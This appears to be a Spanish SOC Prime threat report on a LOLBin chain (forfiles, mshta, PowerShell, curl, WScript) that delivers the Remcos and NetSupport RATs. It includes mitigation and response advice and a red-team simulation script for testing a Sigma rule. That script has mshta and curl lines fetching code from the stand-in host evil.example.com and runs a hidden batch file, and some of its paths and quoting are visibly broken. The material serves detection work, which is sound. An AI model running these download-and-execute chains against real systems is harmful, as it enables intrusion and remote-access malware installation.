SOC Prime Bias: Medio

23 Ene 2026 18:03

¿Puedes Sobrecargar LOLBins para Entregar Payloads de RAT?

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
¿Puedes Sobrecargar LOLBins para Entregar Payloads de RAT?
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Este informe describe una cadena de infección multietapa que abusa agresivamente de utilidades integradas de Windows (LOLBins) para recuperar y ejecutar herramientas de acceso remoto, incluidas Remcos y NetSupport Manager. El operador encadena forfiles, mshta, PowerShell, curl, tar, WScript y cambios específicos en el registro para preparar cargas útiles, establecer persistencia y reducir la visibilidad. El flujo de trabajo también aprovecha el comportamiento del living-off-the-land para integrarse silenciosamente en la actividad administrativa rutinaria. Malwarebytes identificó la actividad y bloqueó la dirección IP relacionada. En general, subraya cómo el abuso general de LOLBin puede entregar RATs de manera confiable.

Investigación

Los investigadores vieron primero que forfiles.exe generaba mshta, que descargaba un HTA malicioso que ejecutaba PowerShell para obtener un señuelo PDF que contenía un archivo TAR. Después de la extracción, un glaxnimate.exe troyanizado depositó componentes fragmentados en ProgramData, luego los reensambló y lanzó usando WScript, scripts por lotes y archivos de soporte. La persistencia se estableció creando un valor UserInitMprLogonScript bajo HKCUEnvironment que hacía referencia a un binario de cliente malicioso.

Mitigación

Monitorear ejecuciones anómalas de LOLBin, particularmente de forfiles, mshta, curl, tar, expand y ediciones de registro sospechosas dentro de HKCUEnvironment. Aplicar listas blancas de aplicaciones, habilitar el registro exhaustivo de PowerShell y prevenir la ejecución de scripts desde ProgramData para limitar la preparación. Bloquear el tráfico HTTP saliente inusual hacia IPs desconocidas y aplicar filtros de URL para interrumpir los intentos iniciales de descarga.

Respuesta

Cuando se detecte, aislar el host, capturar telemetría de línea de comandos completa y recopilar artefactos dejados para análisis de hash. Eliminar la entrada de registro maliciosa y purgar archivos creados en ProgramData. Ejecutar un escaneo de punto final con las firmas AV actuales e implementar el bloqueo a nivel de red para la dirección IP del atacante y cualquier dominio asociado.

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef process fill:#c2f0c2 classDef action fill:#99ccff classDef tool fill:#dddddd classDef malware fill:#ff9999 %% Nodes initial_access[«<b>Técnica</b> – T1218.005: Mshta.exe<br/><b>Descripción</b> Uso de forfiles.exe para lanzar mshta y descargar HTA»] class initial_access technique process_mshta[«<b>Proceso</b>: mshta.exe<br/><b>Acción</b> Ejecuta HTA remota»] class process_mshta process download_htapayload[«<b>Acción</b> – Descargar HTA<br/><b>Herramienta</b> mshta»] class download_htapayload action cmd_execution[«<b>Técnica</b> – T1059.003: Windows Command Shell<br/><b>Descripción</b> HTA inicia cmd.exe»] class cmd_execution technique powershell_one_liner[«<b>Técnica</b> – T1059.001: PowerShell<br/><b>Descripción</b> One-liner descarga payload como PDF, extrae con tar, lanza glaxnimate.exe»] class powershell_one_liner technique local_staging[«<b>Técnica</b> – T1074.001: Staging Local<br/><b>Descripción</b> Crea archivos .PART en ProgramData»] class local_staging technique vbscript_execution[«<b>Técnica</b> – T1059.005: Visual Basic<br/><b>Descripción</b> wscript.exe ejecuta processor.vbs que lanza cmd oculto para ejecutar patcher.bat»] class vbscript_execution technique archive_extraction[«<b>Técnica</b> – T1560.001: Extracción de Archivos<br/><b>Descripción</b> expand extrae setup.cab que contiene NetSupport RAT»] class archive_extraction technique persistence[«<b>Técnica</b> – T1547.014: Claves de Registro / Carpeta de Inicio<br/><b>Descripción</b> HKCU\\Environment\\UserInitMprLogonScript configurado a client32.exe»] class persistence technique client32[«<b>Malware</b> client32.exe<br/><b>Propósito</b> Se ejecuta al iniciar sesión»] class client32 malware glaxnimate[«<b>Malware</b> glaxnimate.exe troyanizado<br/><b>Propósito</b> Ejecuta payload malicioso»] class glaxnimate malware netsupport[«<b>Malware</b> NetSupport RAT<br/><b>Propósito</b> Payload de acceso remoto»] class netsupport malware %% Connections initial_access –>|usa| process_mshta process_mshta –>|descarga| download_htapayload download_htapayload –>|ejecuta| cmd_execution cmd_execution –>|dispara| powershell_one_liner powershell_one_liner –>|coloca archivos| local_staging local_staging –>|ejecuta| vbscript_execution vbscript_execution –>|extrae| archive_extraction archive_extraction –>|instala| glaxnimate glaxnimate –>|instala| netsupport netsupport –>|conduce a| persistence persistence –>|ejecuta| client32

Flujo de ataque

Ejecución de Simulación

Prerequisito: El Chequeo de Telemetría & Línea Base Pre-vuelo debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativas DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque & Comandos:
    El operador de equipo rojo apunta a desplegar el Remcos RAT usando una cadena de LOLBins para evitar descargar un ejecutable directamente.

    1. Descubrimiento & Escenario: Use forfiles.exe para localizar un directorio objetivo y lanzar mshta con un URL malicioso que aloja una carga HTA.
    2. Descarga sin Archivos de PowerShell: Invoque powershell.exe con -NoProfile -Command curl para obtener un script de segunda etapa desde un servidor C2.
    3. Ejecución de VBScript: Despliegue un processor.vbs via WScript.exe elaboró para escribir el binario RAT en %ProgramData%.
    4. Creador de Batches: Ejecución de un archivo de lote oculto (patcher.bat) a través de cmd.exe invocado vía IWshShell3.Run para finalizar la persistencia.

    Cada paso genera un evento de creación de proceso distinto que coincide con una de las selecciones de Sigma, asegurando que la regla se active.

  • Script de Prueba de Regresión:
    El script a continuación reproduce las cuatro selecciones en un laboratorio controlado. Registra cada comando en un archivo temporal para su verificación posterior.

    #-------------------------------------------------
    # Simulación de Abuso de LOLBin – activa la regla Sigma
    #-------------------------------------------------
    $log = "$env:TEMPlolbin_simulation.log"
    Clear-Content -Path $log -ErrorAction SilentlyContinue
    
    # 1. forfiles.exe -> mshta
    $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
    Write-Output "[+] Executing: $cmd1" | Tee-Object -FilePath $log
    Invoke-Expression $cmd1
    
    # 2. powershell.exe -> curl download
    $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
    Write-Output "[+] Executing: $cmd2" | Tee-Object -FilePath $log
    Invoke-Expression $cmd2
    
    # 3. wscript.exe -> processor.vbs
    $vbsPath = "$env:ProgramDataprocessor.vbs"
    @"
    Set fso = CreateObject("Scripting.FileSystemObject")
    fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious"
    "@ | Set-Content -Path $vbsPath -Encoding ASCII
    $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
    Write-Output "[+] Executing: $cmd3" | Tee-Object -FilePath $log
    Invoke-Expression $cmd3
    
    # 4. IWshShell3.Run -> cmd /c patcher.bat
    $batPath = "$env:ProgramDatapatcher.bat"
    "@
    echo @echo off > %TEMP%nothing.txt
    "@ | Set-Content -Path $batPath -Encoding ASCII
    $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
    Write-Output "[+] Executing: $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log
    Invoke-Expression $cmd4
    
    Write-Output "[+] Simulation complete." | Tee-Object -FilePath $log
  • Comandos de Limpieza:
    Eliminar los artefactos para restaurar el host a un estado limpio.

    # Eliminar artefactos de simulación de LOLBin
    Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
    Write-Output "[+] Limpieza completa."